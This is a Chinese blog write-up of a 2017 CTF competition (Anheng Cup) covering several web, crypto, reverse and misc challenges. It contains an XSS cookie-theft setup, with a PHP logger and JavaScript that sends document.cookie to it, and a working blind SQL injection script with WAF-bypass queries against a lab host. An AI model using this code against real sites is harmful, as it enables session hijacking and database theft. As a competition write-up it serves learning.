十月安恒杯 writeup

原创

Assassin__is__me 于 2017-10-15 08:03:54 发布 5107 收藏 1

分类专栏： I am Assassin

本文链接：https://blog.csdn.net/qq_35078631/article/details/78238523

总结说会的正题不难，不会的实在是难的可以…

web1 iphone6

直接将user-agent改成手机的就可以了，很简单不截图

web2 jshunt

这个题目我没有调出来来，但是明显就是xss，很困惑。

首先扫描了一下目录发现了tmp目录和up目录。up目录明显就是我们上传的jpg文件，有文件类型限制，但是没有 MIME检查，写入后是base64加密后的内容。而tmp内容更是直截了当，可以构造`<html><script src=></script></html>`这样的，貌似没有同源检查，我的思路是上传js内容到jpg文件中，然后让tmp的html文件调用。但是我用国外服务器x不到？用国内网站x不到？？？自己在本地谢了一个脚本还是x不到？？？然后我就迷了…

最后发现我犯了一个及其2逼的问题`<script>`标签引用的只能是js，而不是html（因为原来的html用的实在是太多了…）最后是我的编码的问题…哭晕，本地搭载了一下

flag.php

```
<?php
if(@$_GET['cookie']){
    $myfile = fopen("./1.txt", "a+");
    fwrite($myfile, $_GET['cookie']."\n");
    fclose($myfile);
}
?>
```

test.html

```
<html><script src=wamp.html></script></html>
```

wamp.html(就是在这里犯得二)

```
window.location.href="http://127.0.0.1/flag.php?cookie="+document.cookie
```

web3 绕过看门狗

非常简单的注入，需要大小写绕过而已，其他都可以绕过了。直接上脚本吧，比sqlmap好用感觉

```python
#_*_coding:utf-8_*_
import hashlib
import re,requests
url = 'http://192.168.5.13/viewld.do?ldid=2%20aNd%20'
temp=0
def pre(string,pos,l,r):
    global temp
    if l>r:
        return
    mid=(l+r)/2
    tempurl=url+'(seLect asCii(suBstr(('+string+') fROm '+str(pos)+' fOr 1))<='+str(mid)+')'
    #print tempurl
    html = requests.get(tempurl).text
    #print html,len(html)
    if len(html)>1200:
        flag=1
        temp=mid
        temp=max(temp,mid)
        pre(string,pos,l,mid-1)
    else :
        pre(string,pos,mid+1,r)
flag=''
def work(str):
    global temp
    global flag
    for l in range(1,50):
        temp=0
        pre(str,l,30,130)
        if temp>0 and temp !=30:
            flag+=chr(temp)
            print flag
        else :
            break
#insert="seLect database()"  news

#insert="SELeCT SCHEma_NaME FRoM infOrmation_schEma.SCHEmaTA liMit 1,1"
#insert="SELeCT Table_NaME FRoM infOrmation_schEma.tabLES whEre TAbLE_SChEMA='news' liMit 1,1"
#tb_admin   tb_flag
#insert="SELeCT COLuMN_NaME FRoM infOrmation_schEma.COLuMNS whEre Table_NaME='tb_flag' liMit 0,1"
#flag
insert="SELeCT flag FRoM tb_flag liMit 0,1"
work(insert)
#flag{1396265adbb760c86475304b98e3f61c}
```

reverse

这个逆向比较困难，我是投机取巧地找到了原题…但是这个题目是一个非常好的题目，是一个算法，算法本身有轮转等工作，而且有可能有多解，非常好的题目，过一段时间会单独复现一下。

Crypto

这个我也是迷了，好难猜啊…作业时密文，然后报纸中替换掉的是密文，根据语境猜测替换表是什么…

喵汪哞叽双哇顶，眠鸟足屁流脑，八哇报信断流脑全叽，眠鸟进北脑上草，八枝遇孙叽，孙叽对熬编叶：值天衣服放鸟捉猴顶。鸟对：北汪罗汉伏熬乱天门。合编放行，卡编扯呼。人离烧草，报信归洞，孙叽找爷爷。↓

↓

今朝梆子二更头，老鹰蹲猎东口，三更鼹鼠断东口亮子，老鹰进北口上树，三枝遇孙子，孙子对虎符曰：南天菩萨放鹰捉猴头。鹰对：北朝罗汉伏虎乱天门。合符放行，卡符扯呼。人离烧树，鼹鼠归洞，孙子找爷爷。↓

Misc 1 别劫持的神秘礼物

大水题，直接在tcp流中找到访问页面的包，账号密码就在上面，连起来md5一下就好了。

Misc 2 找webshell

这个题目可是坑死我了…一开始像是既然是上传的文件，我就去找一下上传的节点有什么，发现什么都没有，后来一想人家可能藏到了别的地方，用seayfinder没找到，然后在网上找了一个在线扫描shell的站，但是扫不出来…
下载他的安装包离线扫扫描出来了，在include/include.php下存在一个pass就是flag了，具体他是做什么的还没来得及看，貌似是个大马，只是根据提示做了出来^_^

总结：

我还是太菜了